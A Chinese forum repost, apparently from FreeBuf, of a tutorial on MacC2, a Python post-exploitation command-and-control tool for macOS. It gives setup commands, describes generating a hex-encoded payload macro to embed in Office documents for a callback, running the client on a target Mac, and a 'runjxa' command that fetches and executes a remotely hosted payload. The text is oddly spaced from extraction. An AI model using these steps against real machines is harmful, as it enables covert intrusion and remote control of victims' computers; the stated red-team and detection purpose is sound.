搜索

[16355] 2021-01-23_如何使用MacC2对macOS进行后渗透漏洞利用

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2021-01-23_如何使用MacC2对macOS进行后渗透漏洞利用 如 何 使 用 M a c C 2 对 m a c O S 进 行 后 渗 透 漏 洞 利 用 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 1 - 2 3 M a c C 2 M a c C 2 是 一 款 基 于 P y t h o n 开 发 的 m a c O S 后 渗 透 漏 洞 利 用 工 具 ， 该 工 具 使 用 的 是 O b j e c t i v e - C 调 用 或 P y t h o n 代 码 库 ， 而 并 非 命 令 行 执 行 。 M a c C 2 的 客 户 端 基 于 P y t h o n 2 开 发 ， 虽 然 P y t h o n 2 现 在 已 经 算 是 被 弃 用 了 ， 但 它 仍 然 可 以 随 B i g   S u r 安 装 一 起 提 供 。 在 将 来 ， 苹 果 很 可 能 会 从 m a c O S 的 基 础 安 装 组 件 中 移 除 P y t h o n 2 （ 或 者 直 接 删 除 预 置 的 P y t h o n 环 境 支 持 ） ， 但 直 到 2 0 2 0 年 1 1 月 ， 这 种 情 况 还 没 出 现 。 该 工 具 的 主 要 目 的 是 为 了 帮 助 安 全 研 究 团 队 进 行 渗 透 测 试 技 术 演 练 ， 并 在 m a c O S 上 构 建 针 对 P y t h o n 后 渗 透 漏 洞 利 用 框 架 的 检 测 机 制 。 苹 果 计 划 会 将 脚 本 运 行 时 环 境 从 m a c O S 的 基 础 安 装 中 移 除 ， 具 体 何 时 删 除 我 们 还 不 得 而 知 ， 不 过 现 在 的 B i g   S u r 安 装 还 是 包 括 了 P y t h o n 的 。 当 前 版 本 的 M a c C 2 已 在 C a t a l i n a 和 B i g   S u r 上 进 行 了 测 试 。 在 B i g - S u r 上 ， 惟 一 没 有 按 预 期 工 作 的 函 数 是 s y s t e m i n f o 命 令 . 您 可 以 在 本 地 设 置 服 务 器 ， 也 可 以 使 用 我 在 这 个 项 目 代 码 库 中 提 供 的 D o c k e r 设 置 。 使 用 使 用 D o c k e r 运 行 运 行 M a c C 2 如 果 你 还 没 有 安 装 D o c k e r 的 话 ， 请 使 用 下 列 命 令 安 装 和 配 置 D o c k e r ： 接 下 来 ， 运 行 下 列 命 令 。 下 列 命 令 将 会 创 建 一 个 不 受 信 任 的 S S L 证 书 以 及 密 钥 ， 并 为 服 务 器 和 端 口 生 成 一 个 宏 文 件 （ m a c r o . t x t ） ， 然 后 构 建 m a c c 2 - d o c k e r 。 构 建 完 成 后 ， 将 会 在 m a c c 2 - d o c k e r 中 以 交 互 模 式 运 行 M a c C 2 服 务 器 。 此 时 ， 工 具 将 要 求 我 们 输 出 M a c C 2 服 务 器 的 I P / 主 机 名 ： c h m o d   + x   i n s t a l l _ d o c k e r _ l i n u x . s h s u d o   . / i n s t a l l _ d o c k e r _ l i n u x . s h
然 后 输 入 M a c C 2 服 务 器 需 要 监 听 的 端 口 号 ： 工 具 将 生 成 一 个 十 六 进 制 编 码 的 P a y l o a d ， 存 储 在 一 个 名 为 m a c r o . t x t 的 本 地 文 件 中 ， 它 能 够 连 接 至 你 的 M a c C 2 服 务 器 ， 主 机 名 、 I P 和 端 口 均 对 应 用 户 的 设 置 ： D o c k e r 将 会 安 装 a i o h t t p   P y t h o n 3 依 赖 ， 构 建 m a c c 2 - d o c k e r ， 然 后 在 容 器 中 运 行 M a c C 2 服 务 器 。 完 成 之 后 ， M a c C 2 服 务 器 将 会 监 听 用 户 所 指 定 的 端 口 ： 现 在 ， 我 们 就 可 以 使 用 下 列 命 令 验 证 M a c C 2 服 务 器 的 运 行 状 态 了 ： 除 此 之 外 ， 安 装 脚 本 还 会 在 容 器 和 主 机 之 间 配 置 一 个 共 享 挂 载 。 在 主 机 上 ， 我 们 可 以 浏 览 / v a r / l i b / d o c k e r / v o l u m e s / m a c c 2 / _ d a t a 来 访 问 M a c C 2 _ c l i e n t . p y 和 m a c r o . t x t 。 我 们 还 可 以 将 M a c C 2 _ c l i e n t . p y 文 件 拷 贝 到 客 户 端 ， 执 行 之 后 将 提 供 回 调 ， 或 者 直 接 将 m a c r o . t x t 宏 文 件 导 入 至 一 个 O f f i c e 文 档 ， 启 用 宏 功 能 之 后 ， 将 在 客 户 端 打 开 回 调 。 本 地 运 行 （ 不 使 用 本 地 运 行 （ 不 使 用 D o c k e r ） ） 如 果 你 不 想 使 用 D o c k e r ， 你 还 可 以 在 本 地 搭 建 和 配 置 服 务 器 ： 广 大 研 究 人 员 可 以 使 用 下 列 命 令 将 该 项 目 源 码 克 隆 至 本 地 ： 由 于 M a c C 2 服 务 器 使 用 了 a i o h t t p 库 来 进 行 网 络 通 信 ， 因 此 我 们 要 先 安 装 a i o h t t p ： 接 下 来 ， 在 C 2 服 务 器 上 ， 配 置 S S L （ 密 钥 大 小 至 少 为 2 0 4 8 ） ： 请 注 意 ， c a . p e m 和 c a . k e y 的 文 件 名 不 要 修 改 。 d o c k e r   p s g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c e d o w e n s / M a c C 2 . g i t p i p   i n s t a l l   a i o h t t p p y t h o n 3   - m   p i p   i n s t a l l   - - u p g r a d e   - - f o r c e   p i p o p e n s s l   r e q   - n e w   - n e w k e y   r s a : 2 0 4 8   - n o d e s   - o u t   c a . c s r   - k e y o u t   c a . k e y o p e n s s l   x 5 0 9   - t r u s t o u t   - s i g n k e y   c a . k e y   - d a y s   3 6 5   - r e q   - i n   c a . c s r   - o u t   c a . p e m
然 后 ， 使 用 m a c r o _ g e n e r a t o r . p y 来 创 建 M a c C 2 脚 本 ， 然 后 指 定 服 务 器 的 I P / 域 名 以 及 端 口 号 。 m a c r o _ g e n e r a t o r . p y 还 会 构 建 一 个 十 六 进 制 编 码 的 宏 文 件 （ m a c r o . t x t ） 来 运 行 M a c C 2 . 我 们 可 以 将 文 件 中 的 内 容 拷 贝 到 一 个 M S   O f f i c e 文 档 中 。 使 用 样 例 ： 使 用 样 例 ： 使 用 M a c C 2 _ s e r v e r . p y 脚 本 监 听 连 接 ： 在 客 户 端 （ 目 标 为 m a c O S 主 机 ） ， 使 用 下 列 命 令 运 行 M a c C 2 _ c l i e n t . p y 脚 本 ： 此 时 在 服 务 器 端 ， 你 将 看 到 传 入 的 连 接 ： M a c C 2 使 用 使 用 收 到 连 接 之 后 ， 我 们 可 以 在 服 务 器 端 使 用 “ h e l p ” 命 令 来 获 取 内 置 可 用 的 命 令 列 表 ， 然 后 输 入 目 标 命 令 来 查 看 详 细 信 息 ： p y t h o n 3   m a c r o _ g e n e r a t o r y . p y   - s   [ C 2   S e r v e r   I P / d o m a i n ]   - p   [ C 2   S e r v e r   P o r t ] p y t h o n   M a c C 2 _ c l i e n t . p y
你 还 可 以 生 成 一 个 M y t h i c   C 2   J X A   . j s   P a y l o a d ， 然 后 将 其 托 管 至 一 台 远 程 服 务 器 中 。 接 下 来 ， 使 用 r u n j x a 命 令 来 向 M a c C 2 提 供 托 管 文 件 的 U R L ， 并 执 行 M y t h i c   . J X A   P a y l o a d ： 项 目 地 址 项 目 地 址 M a c C 2 ： 【 G i t H u b 传 送 门 】 精 彩 推 荐 精 彩 推 荐 > > >   r u n j x a   < u r l _ t o _ J X A _ . j s _ p a y l o a d >
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理